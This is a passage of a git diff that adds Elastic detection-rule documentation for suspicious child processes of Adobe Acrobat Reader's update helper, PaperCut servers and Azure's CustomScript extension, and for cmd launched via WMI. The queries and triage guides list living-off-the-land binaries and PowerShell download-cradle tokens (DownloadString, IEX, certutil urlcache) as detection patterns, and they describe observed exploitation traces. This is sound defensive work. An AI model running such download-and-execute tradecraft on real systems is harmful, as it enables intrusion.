https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-of-adobe-acrobat-reader-update-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-of-adobe-acrobat-reader-update-service.asciidoc new file mode 100644 index 0000000000..143048f8cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-of-adobe-acrobat-reader-update-service.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-suspicious-child-process-of-adobe-acrobat-reader-update-service]] +=== Suspicious Child Process of Adobe Acrobat Reader Update Service + +Detects attempts to exploit privilege escalation vulnerabilities related to the Adobe Acrobat Reader PrivilegedHelperTool responsible for installing updates. For more information, refer to CVE-2020-9615, CVE-2020-9614 and CVE-2020-9613 and verify that the impacted system is patched. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://rekken.github.io/2020/05/14/Security-Flaws-in-Adobe-Acrobat-Reader-Allow-Malicious-Program-to-Gain-Root-on-macOS-Silently/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: macOS +* Vuln: CVE-2020-9613 +* Vuln: CVE-2020-9614 +* Vuln: CVE-2020-9615 + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Child Process of Adobe Acrobat Reader Update Service* + + +Adobe Acrobat Reader's update service on macOS uses a privileged helper tool to manage updates, running with elevated permissions. Adversaries may exploit vulnerabilities in this service to escalate privileges by spawning unauthorized child processes. The detection rule identifies such anomalies by monitoring for unexpected child processes initiated by the update service, especially those not matching known legitimate executables, thus flagging potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the parent process is com.adobe.ARMDC.SMJobBlessHelper and the user is root, as these are key indicators of potential exploitation. +- Identify the child process executable that triggered the alert and determine if it is known or expected in the context of Adobe Acrobat Reader updates. +- Check the system for any recent updates or patches related to Adobe Acrobat Reader to ensure they are up to date, particularly concerning CVE-2020-9615, CVE-2020-9614, and CVE-2020-9613. +- Investigate the process tree to understand the sequence of events leading to the suspicious child process, looking for any unusual or unauthorized activities. +- Examine system logs and other security tools for additional indicators of compromise or related suspicious activities around the time of the alert. +- Assess the system for any signs of privilege escalation or unauthorized access, focusing on changes made by the suspicious process. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they spawn child processes not listed in the known legitimate executables. Users can mitigate this by monitoring update schedules and temporarily excluding these processes during known update windows. +- Custom scripts or administrative tools executed by system administrators with root privileges might be flagged. To handle this, users can create exceptions for these specific scripts or tools if they are verified as safe and necessary for operations. +- Security or system management tools that perform integrity checks or system modifications could be misidentified as suspicious. Users should review these tools and, if deemed safe, add them to the exclusion list to prevent false alerts. +- Development or testing environments where new or experimental software is frequently run may generate false positives. In such cases, users can establish a separate monitoring profile with adjusted rules to accommodate the unique activities of these environments. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious child processes identified by the detection rule that do not match known legitimate executables, ensuring that no unauthorized processes are running. +- Conduct a thorough review of system logs and process execution history to identify any additional indicators of compromise or unauthorized changes made by the suspicious process. +- Apply the latest security patches and updates to Adobe Acrobat Reader and the macOS system to address vulnerabilities CVE-2020-9615, CVE-2020-9614, and CVE-2020-9613, ensuring the system is not susceptible to known exploits. +- Restore any affected files or system configurations from a known good backup to ensure system integrity and remove any potential backdoors or malicious modifications. +- Enhance monitoring and logging on the affected system to detect any future unauthorized process executions or privilege escalation attempts, ensuring quick detection and response. +- Report the incident to the appropriate internal security team or external authorities if required, providing detailed information about the threat and actions taken for further investigation and compliance. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.parent.name like "com.adobe.ARMDC.SMJobBlessHelper" and + user.name == "root" and + not process.executable like ("/Library/PrivilegedHelperTools/com.adobe.ARMDC.SMJobBlessHelper", + "/usr/bin/codesign", + "/private/var/folders/zz/*/T/download/ARMDCHammer", + "/usr/sbin/pkgutil", + "/usr/bin/shasum", + "/usr/bin/perl*", + "/usr/sbin/spctl", + "/usr/sbin/installer", + "/usr/bin/csrutil") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-of-papercut-server-component.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-of-papercut-server-component.asciidoc new file mode 100644 index 0000000000..fdb5483a3d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-of-papercut-server-component.asciidoc @@ -0,0 +1,231 @@ +[[prebuilt-rule-8-19-34-suspicious-child-process-of-papercut-server-component]] +=== Suspicious Child Process of PaperCut Server Component + +Detects suspicious child process execution originating from PaperCut server components, including the PaperCut NG/MF Application Server (pc-app.exe) and PaperCut Hive print job spooler (pc-printjob-spooler.exe). Active exploitation of CVE-2026-82078 and CVE-2026-81578 abuses unsafe dynamic class loading and an authentication bypass to achieve pre-authenticated remote code execution under pc-app.exe. Similar suspicious shell spawning has also been observed from PaperCut Hive's pc-printjob-spooler.exe (for example cmd.exe executing echo/test-style commands). Observed NG/MF in-the-wild activity includes discovery utilities such as whoami and tasklist; proof-of-concept exploitation has spawned unexpected Windows utilities such as charmap.exe as SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-windows.forwarded* +* logs-system.security* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/ +* https://www.huntress.com/blog/papercut-actively-exploited + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2026-81578 +* Vuln: CVE-2026-82078 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Child Process of PaperCut Server Component* + + +PaperCut NG/MF Application Server (`pc-app.exe`) and PaperCut Hive components such as `pc-printjob-spooler.exe` should +not routinely spawn interactive shells, download utilities, or discovery tools. CVE-2026-81578 (authentication bypass) +chained with CVE-2026-82078 (unsafe dynamic class loading) enables pre-authentication remote code execution under +`pc-app.exe`. Huntress observed short exploitation windows with base64-encoded commands such as `whoami & ver` and +`whoami & ver & tasklist`, and reproduced RCE that spawned `charmap.exe` as SYSTEM under `pc-app.exe`. Separate telemetry +has also shown `pc-printjob-spooler.exe` under `Program Files\PaperCut Hive\` launching `cmd.exe` with attacker- or +test-controlled command lines. + + +*Possible investigation steps* + + +- Review the parent-child chain: `process.parent.name`/`process.parent.executable` (for example `pc-app.exe` or + `pc-printjob-spooler.exe` under `PaperCut*` install paths); inspect child `process.name`, `process.executable`, and + `process.command_line` for shells, LOLBins, discovery tools, or trivial probing commands such as `echo test`. +- Confirm PaperCut product (NG/MF vs Hive), version, and internet exposure of management or print-related services. + Unpatched or publicly reachable servers are high priority. +- For NG/MF parents, search the same `host.id` for `.class` file creation under `server\lib` (for example `Udydn.class`, + `Moo97.class`) and related artifacts under `server\data\content` (`*.cmd`, `*.out`). +- Inspect PaperCut logs for hex-encoded payloads, base64 command strings, Derby boot messages referencing + `memory:...\pwn`, `jdbc:derby:memory:pwn`, `ERROR No suitable driver found for jdbc:no:x`, or truncated/deleted logs. +- Correlate with inbound web or print-service requests around `@timestamp` (proxy, WAF, firewall). +- Pivot on `user.id` and `host.id` for follow-on credential access, persistence, or lateral movement within 48 hours. + + +*False positive analysis* + + +- PaperCut upgrades, support tooling, or rare admin scripts might spawn expected helpers. Validate change windows, + signed binaries, and command lines before exceptioning. +- Do not exclude on `pc-app.exe` or `pc-printjob-spooler.exe` alone; require a stable benign child path and command pattern. + + +*Response and remediation* + + +- Isolate or restrict network access to the implicated PaperCut service immediately if public-facing. +- Preserve PaperCut logs, configuration, process trees from the parent binary, and any `.class`/`.cmd`/`.out` artifacts + before upgrade or reboot. +- Apply PaperCut Emergency Patch Release 2 (or newer fixed builds) for NG/MF, including site/secondary servers; validate + Hive component versions and vendor guidance for Hive-specific hosts. +- Hunt estate-wide for the same child-process and `.class` drop patterns; rotate credentials if compromise is confirmed. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/crowdstrike-integration[CrowdStrike] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("pc-app.exe", "pc-printjob-spooler.exe") and + ( + process.name : ( + "cmd.exe", + "powershell.exe", + "pwsh.exe", + "powershell_ise.exe", + "wscript.exe", + "cscript.exe", + "mshta.exe", + "rundll32.exe", + "regsvr32.exe", + "bitsadmin.exe", + "certutil.exe", + "curl.exe", + "wget.exe", + "net.exe", + "net1.exe", + "whoami.exe", + "tasklist.exe", + "ipconfig.exe", + "nltest.exe", + "systeminfo.exe", + "charmap.exe", + "calc.exe", + "mspaint.exe" + ) or + ?process.pe.original_file_name : ( + "Cmd.Exe", + "PowerShell.EXE", + "pwsh.dll", + "powershell_ise.EXE", + "wscript.exe", + "cscript.exe", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "bitsadmin.exe", + "CertUtil.exe", + "curl.exe", + "wget.exe", + "net.exe", + "net1.exe", + "whoami.exe", + "tasklist.exe", + "ipconfig.exe", + "nltest.exe", + "systeminfo.exe", + "charmap.exe", + "CALC.EXE", + "mspaint.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc new file mode 100644 index 0000000000..4dd3d65f7d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-process-via-azure-vm-customscript-extension.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-suspicious-child-process-via-azure-vm-customscript-extension]] +=== Suspicious Child Process via Azure VM CustomScript Extension + +Identifies a suspicious process executing as a descendant of the Azure VM CustomScript extension handler (CustomScriptHandler.exe) on a Windows host. The Azure CustomScript extension runs an attacker-supplied script with high privilege (SYSTEM) via the guest agent, and is a common cloud-to-host code-execution and persistence primitive. Because the extension's resource name is attacker-controlled and absent from on-host telemetry, this rule anchors on the type-bearing handler binary ('Microsoft.Compute.CustomScriptExtension\...\CustomScriptHandler.exe') rather than the spoofable extension name, making it resistant to renaming. CustomScript legitimately launches PowerShell and cmd, so the rule fires only when the descendant is an execution-proxy, download, or discovery LOLBin, or PowerShell exhibiting suspicious tradecraft. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.sysdig.com/blog/the-expendable-extension-name-azure-vmaccess-naming-chaos-password-resets-and-a-detection-gap +* https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/custom-script-windows + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: Living off the Land +* Threat: Cloud VM Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Child Process via Azure VM CustomScript Extension* + + +The Azure CustomScript extension executes a script as SYSTEM via the guest agent. The extension's resource name is +attacker-controlled and not present on the host, so this rule anchors on the handler binary path +(`Microsoft.Compute.CustomScriptExtension\...\CustomScriptHandler.exe`), which is rename-proof, and alerts when a +LOLBin or suspicious PowerShell runs anywhere in its process tree. + + +*Possible investigation steps* + + +- Review the full process tree from `CustomScriptHandler.exe` to the alerting process, including `process.command_line` + and `process.args`. +- Identify the descendant: execution proxies (`mshta`, `regsvr32`, `rundll32`, `installutil`, `msbuild`), download tools + (`certutil`, `bitsadmin`), script hosts (`wscript`, `cscript`), or discovery utilities (`whoami`, `net`, `nltest`, + `wmic`) are not expected children of a benign CustomScript payload. +- Correlate with the control-plane event: a `MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE` in + `logs-azure.activitylogs-*` for this host around the same time, and the acting principal/source behind it. +- Retrieve the extension's settings/protectedSettings from the VM (the activity log does not contain the script body) to + assess intent. +- Pivot on the host for credential access, new local accounts, persistence, or outbound C2 following the execution. +- Review who deployed the extension (Entra sign-in logs and RBAC for the principal in the correlated activity log event). + + +*False positive analysis* + + +- Infrastructure-as-code and configuration-management scripts deployed via CustomScript may legitimately run discovery + utilities (`whoami`, `net`, `nltest`, `systeminfo`, `wmic`, `tasklist`, `arp`) for bootstrap or inventory. If the + activity recurs from known automation, baseline it and exclude by `process.command_line`/`process.args`. +- Software installation and bootstrapping via CustomScript can invoke `msbuild`, `installutil`, `regsvr32`, `regasm`, + `regsvcs`, `certutil`, or `bitsadmin` to build, register, or download legitimate components. Verify the target + file/URL and, if benign, scope the exclusion to the specific command or signed binary rather than the whole LOLBin. +- Legitimate setup scripts (DSC bootstrap, agent installers) may use PowerShell download cradles + (`Invoke-WebRequest`, `DownloadString`, `-EncodedCommand`) against trusted internal or Microsoft endpoints. Confirm + the destination host and content before excluding, and exclude by the specific command line, not by host. +- A known automation principal deploying the extension from expected corporate egress (corroborated by the correlated + `MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE` and an approved change) lowers confidence, but still review the + executed content. Prefer narrow, command- or argument-scoped exclusions over broad host or LOLBin exclusions, since + the same execution chain is exactly what an attacker abuses. + + +*Response and remediation* + + +- If unauthorized, remove the extension, isolate the host, rotate credentials reachable from it, and review RBAC on the affected subscription/resource group. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + /* Azure CustomScript extension handler */ + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "CustomScriptHandler.exe" or + process.executable : "?:\\Packages\\Plugins\\*CustomScript*\\*\\CustomScriptHandler.exe")] by process.entity_id + /* Abused LOLBin / suspicious PowerShell anywhere in its tree */ + [process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("mshta.exe", "regsvr32.exe", "rundll32.exe", "installutil.exe", "msbuild.exe", "regasm.exe", + "regsvcs.exe", "wscript.exe", "cscript.exe", "bitsadmin.exe", "nltest.exe", "whoami.exe", + "net.exe", "net1.exe", "wmic.exe", "systeminfo.exe", "quser.exe", "arp.exe", "tasklist.exe") or + (process.name : "certutil.exe" and process.args : ("*urlcache*", "*-decode*", "*-encode*")) or + (process.name : ("powershell.exe", "pwsh.exe") and + process.command_line : ("*-enc*", "*EncodedCommand*", "*FromBase64String*", "*DownloadString*", "*DownloadFile*", + "*Invoke-Expression*", "*IEX *", "*IEX(*", "*|IEX*", "*-w hidden*", "*WindowStyle Hidden*", + "*Net.WebClient*", "*Invoke-WebRequest*", "*Start-BitsTransfer*")) + )] by process.Ext.ancestry + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-cmd-execution-via-wmi.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-cmd-execution-via-wmi.asciidoc new file mode 100644 index 0000000000..d621ebf1f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-cmd-execution-via-wmi.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-suspicious-cmd-execution-via-wmi]] +=== Suspicious Cmd Execution via WMI + +Identifies suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/operation-bleeding-bear + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Cmd Execution via WMI* + + + +*Possible investigation steps* + + +- Does the alert-local command line match the Impacket-style WMI output-capture shape? + - Focus: `process.command_line` for quiet execution, stdout/stderr redirection, temp or loopback admin-share output paths, `__*` names, and "-encodehex". + - Implication: escalate when WMI-brokered output capture writes to temp or loopback admin-share paths; lower concern only when the same exact capture shape recurs for one recognized RMM, SCCM, backup, or helpdesk workflow on this `host.id`. + +- Are "cmd.exe" and "WmiPrvSE.exe" the expected binaries in the expected launch context? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when either binary is unsigned, renamed, path-abnormal, or WMI broker context does not fit a management service; Microsoft-signed binaries reduce masquerade concern but do not clear output capture. + +- What operation does the captured command perform? + - Focus: `process.command_line` for nested interpreters, discovery commands, copy/archive tools, service or scheduled-task verbs, and defense-evasion tokens. + - Implication: escalate when the command stages execution, changes services or tasks, performs discovery at scale, invokes secondary interpreters or LOLBins, copies payloads, or hides output; lower concern for one bounded diagnostic or inventory command. + +- Does the user, host, and any session metadata fit controlled WMI administration? + - Focus: `user.id`, `user.domain`, `host.id`, `process.Ext.session_info.logon_type`, and `process.Ext.session_info.authentication_package`. + - Hint: when `process.Ext.authentication_id` or session details exist, pivot to same-host Windows Security 4624/4648 and match logon/session ID to recover source workstation, source IP, and account context. Missing authentication telemetry is unresolved, not benign. + - Hint: if session metadata is absent, decide from recurring `user.id`, `host.id`, parent executable, command line, child lineage, and related-alert pattern; missing session metadata is unresolved, not benign. + - Implication: escalate when a standard user, unusual domain context, network/service session, or unexpected NTLM context drives WMI command execution on this host; lower concern when the same account, host, and parent-command pattern recur as controlled administration. + +- Did the WMI-launched command become a launcher for follow-on execution? + - Focus: child process events from `process.entity_id`, reading child `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Child processes from WMI launched via Cmd.exe","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is missing, use `host.id` plus alert `process.pid` as child `process.parent.pid` in a tight alert window; treat this as weaker than entity-linked lineage. + - Implication: escalate when child processes include secondary interpreters, "rundll32.exe", "regsvr32.exe", "schtasks.exe", "sc.exe", copy tools, archivers, or other LOLBins; keep scope narrower when the cmd instance exits after one bounded command and no suspicious child appears. + +- If local process evidence stays suspicious or unresolved, do related alerts show the same user or host in lateral-movement activity? + - Focus: same-`user.id` alerts that reuse WMI output-capture fragments, WMI parentage, SMB, WinRM, service-install, scheduled-task, or matching command-line patterns. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is quiet or ambiguous, compare same-`host.id` alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user, host, or command pattern appears in adjacent remote-execution alerts; keep the case local when related alerts are absent and the local process evidence already explains the activity. + +- Escalate when output capture combines with suspicious identity, command intent, session, child, or related-alert evidence; close only when exact command shape, parent, user/host scope, child lineage, and recurrence bind to one recognized workflow on this `host.id`; preserve evidence and escalate when answers conflict or remain incomplete. + + +*False positive analysis* + + +- Remote-management, software distribution, backup, and helpdesk workflows can run "cmd.exe" through WMI and capture output to temp or loopback admin-share paths. Confirm only when parent executable, command line, `user.id`, `host.id`, process-side session context, and child behavior align with one workflow. Inventories, change records, and owner confirmation can corroborate but not replace telemetry; without them, require recurrence of the same anchors across prior alerts from this rule. +- Bounded diagnostic WMI commands can be legitimate when an admin account runs one inventory or support command and the tree ends there. Do not close on Microsoft-signed "cmd.exe" or "WmiPrvSE.exe" alone; require exact output-capture shape, account, host scope, and no suspicious child processes to match the recognized workflow. +- Build exceptions from the minimum confirmed pattern: stable `process.parent.executable`, specific output-capture command shape, `user.id`, and `host.id`. Avoid exceptions on `process.name`, "cmd.exe", "WmiPrvSE.exe", or temp-path fragments alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the command, WMI broker path, account, host, session context, child-process result, and recurrence evidence that validated the workflow. Create an exception only for that same recurring pattern. +- If suspicious but unconfirmed, export the alert, process tree, command line, parent context, child-process lineage, temp/admin-share output path fragments, and related-alert results before containment. Apply reversible containment first, such as heightened monitoring or temporary WMI restriction for the affected account or host where business impact permits; isolate the host only if child execution, destructive command intent, or related alerts suggest active compromise. +- If confirmed malicious, isolate the host when its role can tolerate isolation, or terminate the alerting "cmd.exe" and malicious child processes only after preserving their command lines and entity IDs. Disable or rotate the affected credentials when user/session evidence or related alerts show account misuse. +- After containment, remove only the temp outputs, staged payloads, services, scheduled tasks, or WMI persistence changes identified during the investigation, then verify no related alerts remain for the same `user.id`, `host.id`, or `process.command_line` pattern. +- Post-incident hardening: restrict remote WMI to recognized admin hosts and accounts, reduce local administrator exposure, and retain process telemetry that distinguishes this output-capture pattern from adjacent WinRM or SMB service-based remote execution. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "WmiPrvSE.exe" and process.name : "cmd.exe" and process.args : "/c" and 